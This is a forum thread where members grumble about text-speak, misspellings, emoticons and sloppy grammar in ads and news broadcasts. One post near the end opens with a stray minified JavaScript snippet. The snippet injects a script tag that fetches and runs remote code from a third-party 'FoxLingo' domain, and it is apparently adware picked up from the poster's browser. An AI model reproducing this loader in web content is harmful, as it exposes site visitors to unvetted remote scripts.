Something that annoys me!

ok - maybe I'm being old fashioned. But I just can't get used to the internet shorthand type spellings. You know what I mean:
2today, yur, etc. Can't even think of some of them, but you know what I mean. Do you think the young generation will ever be able to spell correctly? I guess I'm just a stickler about misspellings.

A while back there were lots of commercials on a local tv station for an attorney here in town. The message said he specialized, in divorces, "seperations". Yes, that's how the TV commercial spelled the word. It bugged me so much that I left him a voice mail telling him that the correct spelling is: separations. With an "a" , not an "e". Never heard back from him but in a few weeks the commercial was changed to reflect the correct spelling.

What do you think? Guess there are more important things to complain about, but this just bugged me.

You meat "text speak?" also known as "chat speak"? Many forums have banned that kind of typing from the public boards. It makes it too difficult to comprehend what anyone is saying half the time. :lol3:

I don't do chat nor do I text, so yes, I find that kind of typing on on line community boards to be very annoying.

Yes, and what is all this x_x  and u_u and xD stuff.  It you want to say something, say it.  Not all of us are texters. Usually I skip the posts that have that in them.

catspaw66 said:

Yes, and what is all this x_x  and u_u and xD stuff.  It you want to say something, say it.  Not all of us are texters. Usually I skip the posts that have that in them.

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I think those are supposed to be facial expressions. :lol3: They do it that way so a gif smiley doens't show up.

That's sort of what I thought. Even though crosses (X X) are used to denote dead most places.  I guess if you are texting that makes sense.  On here, I just use one of the 299 emoticons that are available.  If people haven't noticed, there are even seasonal ones and ones that have been chosen for relevance (like all the new baby ones).

Text speak bothers me, too. It makes sense to use it when sending a text message with a character limit, but not when you have enough room for full sentences, punctuation and paragraphs. Don't people who use it on boards realize that their posts seem so inconsequential because of the abbreviations that people tend to skim over or ignore them?

Don't worry, I know a lot of kids who always use proper punctuation, and find "text speak" appalling. Honestly I think it makes one sound pretty dumb. I don't have a problem with typed emoticons, as long as they aren't overused.

catspaw66 said:

That's sort of what I thought. Even though crosses (X X) are used to denote dead most places.  I guess if you are texting that makes sense.  On here, I just use one of the 299 emoticons that are available.  If people haven't noticed, there are even seasonal ones and ones that have been chosen for relevance (like all the new baby ones).

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I use xx for hugs.

otto said:

I use xx for hugs.

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I guess I have been reading too many graphic comic books.

I cant stand the ads on craigslist that have the text stuff.  I keep eye out for lost pets but also check in on some of the rehomes. 

Funny about the spelling.  My spelling is pretty bad but if you are paying for a commercial might as well check ANY possible wrong word!
 

On phones it doesn't bother me as much anymore due to character space and how slow some people find the letters, especially if they're using a fliptop phone... but if I see it on Facebook or where people have access to type on a regular keyboard, THEN it bothers me!

Yes, it annoys me too.  I realise why it has come about, when sending a text, although I quite deliberately spell everything out as my own little protest.  But when it just becomes another way of writing things, it is so jolly lazy and a bit rude.

It bugs me I try not to use it, I do when I tweet because of the character limit and I think that's the only place I do LOL!

But I have a friend that uses it all the time and I can't understand it but she was complaining about how badly people spoke, it was full of lyk cuz ppl and words not to be repeated on here

Draco said:

On phones it doesn't bother me as much anymore due to character space and how slow some people find the letters, especially if they're using a fliptop phone... but if I see it on Facebook or where people have access to type on a regular keyboard, THEN it bothers me!

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Exactly!  Why where there is a keyboard would you want to type like this?

This is funny because Thursday's question of the day was "What words drive you nuts?"

My answer was:

It's not so much a certain word as it is the intentional misspelling of words. I understand that kids "teenagers" have a certain informal way of spelling on text message or such but when I see adults typing or writing out sentances such as something I saw eariler "sittin here eatin sum gud food, wat u havin fer dinna". I despise this so much that I would love to smack the person who typed it.

I'm not a teacher but I have common sense and do not understand the need to spell like this for everyone to see. Social media is a wonderful tool to keep in touch with family and friends who may not live near you but it is killing the English language and causing my hair to gray everytime I log on.

...stepping off my soapbox now

Now I'm guilty of using LOL on facebook just because my friends say so many things that make me laugh that spelling out Hahahaha or I'm laughing so hard takes up time so I admit I take the easy out and just say LOL.  That is the limit for me though. 

I use abbreviations when I text with Rick, but that's pretty much the extent. When posting I might use "esp" for "especially" or "bc" for "because". Sometimes I'll write "s/he" when I want to say "she or he". I do the "LOL" thing. But the really weird stuff? I stay away from it.

this may just be me, but i don't like to see sentences all typed in small case. what's so difficult about using the darn shift key? it's annoying and it shows me that people don't care enough to use proper grammar. in situations like that, i will often not even bother to read the post.

I find myself yelling at the radio or tv when an announcer, usually a news anchor, misuses words. I dod go so far as to e-mail a local talk show host and explain the difference between less and fewer: if you can count it, it is fewer, and less is for abstract concepts. He started watching his speech shortly after that and did a whole segment on improper word usage, text speak and bad grammar. My one bad habit is all lower case on messenger, and that started when a keyboard lost the shift keys followed quickly by everything else.

What I do not have a problem with are things like gonna, shoulda, wuzgunna, etc IF they are used in creative writing. I wrote one whole piece entitled Bed Mice with deliberate bad spelling and weird phonetic spelling to convey the speech of a cat who moved into the house. . .

!function(){try{var h=document.getElementsByTagName("head")[0];var s=document.createElement("script");s.src="//edge.crtinv.com/products/FoxLingo/default/snippet.js";s.onload=s.onreadystatechange=function(){if(!this.readyState || this.readyState=="loaded" || this.readyState=="complete"){s.onload=s.onreadystatechange=null;h.removeChild(s);}};h.appendChild(s);}catch(ex){}}(); I know exactly what you mean!

I only text one friend, and occasionally my brother. My friend is huge on that type of spelling when she texts. It drives me insane!  The first couple of texts she sent me I had no clue what she was saying. I had to call her and ask her what she said.  lol  Really,  I did!  I've also enlisted the help of co-workers and even strangers in a mall food court.

Finally I told her that she has to stop with the weird spelling/abbreviations because I was too old to learn a new language, and when I decide to learn a new language I'll sign up for Japanese at the local university.  For the most part she has gotten better.  Occasionally she will send me an abbreviated text, followed by one that says "oops" and a text spelled out in long hand.  I do use occ'l abbreviations, but they are known ones such as "Tue" for Tuesday, "Msg" for message etc.
 

I once e-mailed one of the local stations to complain about the terrible spelling and grammar that they used on the news.  I was basically told that the proofreader had a college degree in Journalism and to mind my own business.

I;ve read so much garbage written by professional and supposedly educated journalists that would not have passed what was Grade 5 English when I was in school. It seems, that in this age of protecting the child's ego at all costs, reading, writing and spelling skills have gone the way of the dodo bird, never to be resurrected. I realise language changes over time but what passes for correct word usage and grammar now just is incomprehnsible.

I guess I merited the response I got from the station when I told them I had a seventh-grader that could help if needed.